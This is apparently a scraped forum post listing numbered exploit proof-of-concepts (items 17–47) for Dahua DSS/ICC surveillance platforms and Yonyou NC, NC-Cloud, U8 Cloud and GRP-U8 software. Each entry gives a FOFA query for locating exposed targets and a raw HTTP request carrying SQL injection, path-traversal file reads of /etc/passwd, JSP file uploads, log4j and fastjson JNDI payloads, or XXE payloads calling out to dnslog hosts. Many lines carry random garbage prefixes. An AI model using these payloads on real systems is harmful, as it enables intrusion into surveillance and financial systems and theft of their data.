+ a  O! s" ]1 }2 i3 c( c. OHost: x.x.x.x
9 [# D, R1 Z, w' K0 ], Z2 @3 KUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
; z' h. n! M% D4 E' [Connection: close
% y3 `# D8 H! ~Accept: */*
Accept-Language: en
Accept-Encoding: gzip

( Q( X* f4 R6 O# F" C/ K; f0 j
' J& n4 Z- ^! Q) r17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
) @. B& |7 Z7 W7 qPOST /portal/services/itcBulletin?wsdl HTTP/1.1
1 c7 u- ?: S* G! DHost: x.x.x.x
; c3 X) E# C* R5 D' T! E+ vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip
( B, n0 }: X4 @' W& J
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
; r+ R: f4 ?" w& M. U( Q5 I<s11:Body>
4 ?+ ]0 ^; F& Y    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
+ q' L& R  p  {% ?& Q      <netMarkings>
" J0 f) k, @4 ~' c0 Z. a       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
  `2 `# V) }' B  G, P6 T: q. ^    </ns1:deleteBulletin>
% L4 z  p3 g  r" W* @. G  </s11:Body>
  T- Y! A* j* h$ o* S</s11:Envelope>
" n& g: K8 D" c

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
% }7 j  V" k, {- tGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
& l. d3 d  @- Y0 @# B  ]: d! x6 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- }: K6 c& m% n/ T5 QAccept-Encoding: gzip, deflate
+ Y9 H- C% y7 K* U2 ~6 _) TAccept: */*
* @/ y% {! p9 i5 M" _Connection: keep-alive
, i. _7 |2 A( R6 M5 y# S. r" P

3 x& I, t: N/ f. A6 \8 l: ?2 M
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ h$ @: D0 y' s7 V7 SFOFA：app="dahua-DSS"
0 G/ _' @6 {2 \) ?GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
0 U/ x- H' w. O" BHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ U; k" N5 y( F. e+ r2 E2 ]( Q) U7 zAccept-Encoding: gzip, deflate
! L+ N3 B8 Z4 S/ J. _- L  dAccept: */*
Connection: keep-alive


* H/ L) R0 _9 l$ X) K20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
" R: x% }; W0 M4 S/ }GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
4 l2 N6 P5 U( _2 D: J' MUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( Y. H' p0 P, \+ z4 kConnection: close
Accept: */*
Accept-Language: en
" q# u' N: @. Y! K+ h" T; M+ YAccept-Encoding: gzip
% [0 i; b1 C9 o) Y7 |

21. 大华ICC智能物联综合管理平台random远程代码执行
/ H% f! C! |, N- f; ]/ pFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
0 G' L4 g/ y- iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' M; q+ |* I5 \  }/ QContent-Length: 161
  G0 G3 G, l! }8 N. r. Y1 O8 q( JAccept-Encoding: gzip
6 N; E7 o; U; @+ P) g8 DConnection: close
8 h0 `& r$ Y6 u# _Content-Type: application/json;charset=utf-8

{
  n  N2 p' x# [$ `, W. b7 `. h0 }6 k"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
0 e& ^) x  k# Z) U( ~  }""
! [4 }6 j: e8 m7 f$ z( O}
5 _; [/ j7 Y' h: |
4 h- Z& S9 ], S% M, B
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
' w' B$ \+ w0 mFOFA：icon_hash="-1935899595"
5 R1 k9 L" ^7 h. z# i/ U) _POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
; s' ^5 Y  s% YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
% s9 ?3 P" A* m# j- q: |8 Q}
! G( w9 d1 h$ d# d* f5 x
8 X( M4 Z  k; F  g/ B( D* V

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
+ U: N% r% i% FFOFA：icon_hash="-1935899595"
6 v2 F% ^$ e$ S! p0 |0 O4 jPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
: D5 d% O* {$ Q* BHost: your-ip
6 F0 l- d7 [& l  L8 l2 e) ^' KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
8 k& o7 D, }$ v7 J& z! @
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
$ ~  W4 O5 i% @) b3 y}
5 ?- e, X( ~/ u) f' t- ~

9 |6 L! @, H4 J0 W) M9 R9 `24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
7 \6 z+ G) _9 f. m- TUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
! F# e/ G/ }/ D. T% TConnection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
, B$ _7 A4 r, j6 S
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ e/ o' R( d; D' q; d  v+ ^Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
8 L- S. X. w( x& M3 @Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; e! O* ~5 e  u2 l( \2 NContent-Disposition: form-data; name="fname"

( b+ O* o; }, Y\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
; H: T+ t( o5 Q1 d6 M3 m-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

/ l8 ^" A9 L/ D; u- L  }, ]1 |
25. 用友NC registerServlet JNDI 远程代码执行
( c/ k' a2 q6 HFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
6 d' a+ t% Y( K2 C: j& J7 WHost: your-ip
- F( D( r% M7 e  ?! C3 k4 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
8 g" C1 P4 J+ O4 U8 @/ mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
# }- f3 D! q. g$ fAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
/ U  b1 G  |- h( D
9 T9 v) ?; f3 }2 ztype=1&dsname=ldap://dnslog
" A  J8 t( J+ J3 R
% ~1 @+ _: s* M0 ^- ?! B# q1 I

$ A' y. K$ V4 a8 L# }7 w0 M6 P26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 a5 e  g- B! Z+ tHost: your-ip
/ A8 B# v7 O4 T9 |( @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 z8 ?& u9 ^& r: Y0 r8 D0 EContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
( Y+ `" d" T4 x, y: {Accept: */*
& Z0 c! v, w& [7 Y3 k' f* tConnection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
  w0 _7 I9 r) Q- `# DGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
' l4 T3 I" X( @5 `2 _7 S3 LHost: your-ip
! h( g5 E2 g( D2 u5 M7 V. vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 P1 A0 a( a1 ]& JAccept-Encoding: identity
Connection: close
) S  p! u5 n' B  Q: TContent-Type: text/xml; charset=utf-8
8 c9 o; Q: j* E6 r( i. Z

28. 用友NC grouptemplet 任意文件上传
' m! h7 v6 x3 n( J# ^+ pFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
7 b/ ^* j/ w3 `/ {3 ^, {# AConnection: close
& X! d1 ~+ \+ lContent-Length: 268
* A1 M% f$ f% G) P, b6 h+ M( ZContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

& H4 q+ n9 t5 i6 W  s0 r( c+ S------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
' p) O/ U% D. ^5 }Content-Type: application/octet-stream
. [; I7 D& I6 d% ], E+ H/ ^4 P0 }7 d
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
5 F8 A. D4 ~& a- v- F- T: ^; \6 _. F
, }% v+ @3 b8 c  c# X2 V4 e0 M
/uapim/static/pages/nc/head.jsp

& w# b( J1 L. I7 Z29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; w$ ^% O. V2 S: QGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
: T+ q" d- q- f* }  YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 m; a' X7 s  q( E+ \2 a% s" ?Content-Type: application/x-www-form-urlencoded
# }/ {7 X" l5 yAccept-Encoding: gzip, deflate
& \8 U* B, g) G; VAccept: */*
Connection: keep-alive

+ R0 m. u2 {) O5 M9 K9 J
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
/ X! _! k+ N+ Z7 o. ^3 @# AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
* a5 c* k# ^/ x* s* HContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
3 e" q: S# H) x. z! `
2 ^: ~% s: v- W2 D" d( R
# w! F- q6 s0 D( I/ r* G! v31. 用友NC runStateServlet SQL注入
version<=6.5
! G' ]2 M" m3 D6 V% nFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 v% B: ^# p& y# JHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! Y4 Q' X4 K9 \' Z' T" ]: B$ iContent-Type: application/x-www-form-urlencoded

6 q" z! h0 k0 ~% T# Q7 _, Y
32. 用友NC complainbilldetail SQL注入
# I+ f% b, e5 T: L  ]4 I# Fversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 S4 ?1 P4 |: yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" H  V# v4 M0 g. j6 d+ W7 UContent-Type: application/x-www-form-urlencoded
" w2 N  w. f8 e- W* x: K9 yAccept-Encoding: gzip, deflate
8 r- o  o  i9 ^1 \8 zAccept: */*
0 k& l8 c! t# i* u7 YConnection: keep-alive


* o, c1 Y, L1 E, B33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
  h" |8 E7 B8 s# QGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  i3 b! v6 o- fAccept: */*
Connection: keep-alive


) U/ m. H! \0 S% k34. 用友NC warningDetailInfo接口SQL注入
' G- W# ?- r6 p$ f4 t* HFOFA：app="用友-UFIDA-NC"
5 I. p3 p/ }2 Q9 q4 dGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 R0 R% t) |  {* ?* u( pContent-Type: application/x-www-form-urlencoded
, ~! l- l3 Q# V" t0 JAccept-Encoding: gzip, deflate
Accept: */*
& _0 L! s0 K2 P* Q1 {7 m, a9 gConnection: keep-alive
( j! D+ ^5 y( t- B
) r% F# x  }( a. W
& s" c, \" F, G% F" q" c& T  J35. 用友NC-Cloud importhttpscer任意文件上传
4 m1 b; \$ d( o9 X4 D* D# dFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
8 U' }! q5 N. u& F2 GHost: 203.25.218.166:8888
/ N8 j! _- u  T8 SUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
+ b6 s6 ?. _( R$ h$ w) j; baccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
; m  e! `! X6 X+ s; J: u1 aContent-Length: 190
. s5 }# m8 j, Z4 MContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

: ?! C' x, E$ K7 r4 O. |( X--fd28cb44e829ed1c197ec3bc71748df0
5 y! ~8 d4 d7 d) M" x, hContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

! D0 G( A8 C- L7 O<%out.println(1111*1111);%>
/ O0 x) t: E9 ~--fd28cb44e829ed1c197ec3bc71748df0--
2 X0 D# j* ?; \9 P

( M7 Q$ `9 W: P% {36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
5 F8 @5 A/ [% G! f* I4 }7 h. JHost: 192.168.40.130:8989
3 n/ }# h4 E% O2 U2 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) y8 M, [2 f& z  X+ ?9 G% _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: p4 r! @7 [! Z' N- j/ i7 SConnection: close
& e, M/ A1 d9 X3 p6 i  cContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

" n- S  e) K& \+ k7 Smsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
1 O! P6 j4 j& n
) e* a, E6 [2 B) @: t
2 N& f0 ~/ ]/ c( f" T, ~37. 用友NC-Cloud IUpdateService XXE
0 S+ {, j; p/ ]+ xFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
' q4 `, u4 a/ o4 ^/ @Content-Length: 421
3 o# j) `8 q* ^8 I! lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& [8 @$ B) w; W: e7 Z0 E) DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& W9 ^+ V! G% |Connection: close
Content-Type: text/xml;charset=UTF-8
8 Y2 s4 d7 Q" i: x' p" ^! E( m: w- DSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
5 p4 R2 h6 c  p' T5 p9 q9 R
0 V1 N$ M/ n% }, [8 ^<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
' H: h* ~* S# i/ I<soapenv:Header/>
<soapenv:Body>
1 ~, }, R6 g$ N0 ~3 T1 a) ]8 T<iup:getResult>
<!--type: string-->
9 h8 H1 {/ v+ V) @* P  ^<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
- w/ M% o5 c$ `# }4 a<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
9 M2 H2 n, d7 ^8 A5 `. l4 X% ~3 x</soapenv:Envelope>
) o- C# Y4 J  n# E% e
$ o) s* q! `% S+ O) f" V, _) R2 j
# [1 {3 s6 c% T, a
38. 用友U8 Cloud smartweb2.RPC.d XXE
7 X( X& c4 J" Q& nFOFA：app="用友-U8-Cloud"
4 }" ~& m- k. \; YPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
* u0 E9 O6 M! NHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
. m; T3 Q1 ?7 q* UContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& l; V! t2 }. \. r& r  W0 e% FConnection: close
0 `1 N6 A) d3 b2 xContent-Type: application/x-www-form-urlencoded

: z2 S* Z/ x( Z' ?$ @  e4 Z__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

, K9 L! `, C4 i  {" y2 [
$ [" M* E4 n) J0 h, q0 S39. 用友U8 Cloud RegisterServlet SQL注入
" g6 I2 p# B& i0 j, t" wFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
' q% m' Z0 l4 V1 W1 F1 LHost: 192.168.86.128:8089
- ?  |7 p/ a  JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
/ k1 Y$ x* Y0 w/ \Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
( s$ \3 u) {' d( G+ I- \& b
& U5 r. _( Q: E
/ f( f( ]5 \# a  n40. 用友U8-Cloud XChangeServlet XXE
2 H/ H* F. j9 V4 s" MFOFA：app="用友-U8-Cloud"
$ w4 |! [8 i7 nPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
" c; B6 U4 f, S% P- ?
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

' G- g7 v$ D! l
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
- L2 p% _, X5 M+ _GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
+ E; A/ ~$ W' lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ Q% Y) C5 w  b! EContent-Type: application/json
8 ?( ?0 W& D* |$ ?. v; x* S% rAccept-Encoding: gzip
4 `# Z5 g' n" o; x+ SConnection: close

3 P/ E8 n& v+ l. ]7 c+ i( ?2 ?% z: K
) A9 W2 d7 W" Q  x' W( x42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
: t% E. w, Z9 N/ CHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
. i* u6 L1 b2 X+ e
3 v' r9 r% K# K$ xPAYLOAD
9 a! K; r6 {1 J+ L( J, [
8 _  z" r6 h( |2 Y0 P) X% U7 ]
0 @: D7 Z1 s/ F8 Jhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

' e( }( M8 D8 m43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 E/ D! J. y" ?8 eFOFA：app="用友-GRP-U8"
# d+ c  m, ?$ U3 TPOST /services/userInfoWeb HTTP/1.1
0 o2 k  D9 i, j; e& {0 r- J2 KHost: your-ip
& ?0 [7 S% b- LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ {# d8 @( r- _% a$ U& S+ ~Accept-Encoding: gzip, deflate
! L6 M3 _! T: q  n$ R% JAccept-Language: zh-CN,zh;q=0.9
Connection: close
# _; m8 `6 c) u9 J, t, M5 aSOAPAction:
+ ~9 H" ?4 M/ H+ N. EContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
5 ]8 J+ N) Z) m2 A+ k% W5 h7 m, V   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
" _8 ^3 T# {$ _& ~, O$ U4 G         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
5 r; C$ k2 g' {. F      </ser:getUserNameById>
- b/ @& X4 }1 K   </soapenv:Body>
. J: {: I" I, n5 @% A2 n' Y# r* u</soapenv:Envelope>

" O8 r1 f5 R5 c; Q# C
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
) D- M9 ], y7 ZGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
' w! o8 u% J7 ?! ~6 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 o, _7 Z* E$ g$ n) E" a& j% v' ?$ \Connection: close


% K7 {; T9 s( t* m& w$ x4 D45. 用友GRP-U8 ufgovbank XXE
$ Y1 ], s) b5 A. [7 yFOFA：app="用友-GRP-U8"
3 Y$ D9 o( c1 D! B, R1 |9 OPOST /ufgovbank HTTP/1.1
* z) Y1 Y# @# u% {" f+ r% C: lHost: 192.168.40.130:222
' U  `8 w  Q/ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
+ p, W7 e6 h9 B3 TConnection: close
: ]$ i& t  U# iContent-Length: 161
' u1 ]$ c" ]  y% u% @2 ~9 r) k# w- SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
9 |* x: {2 U( G9 f  L<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
) t% w* q& b7 P. m3 i# p! fFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% ^; t: e/ e& C. M% z, p8 O% \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

# R! l5 D% h$ Z2 ]" P; H0 s
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
7 S: h4 j" R- P+ }9 I1 h4 HGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
- r8 K( j. E/ T% W/ LHost: x.x.x.x
5 C. E( D; a# @& dCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
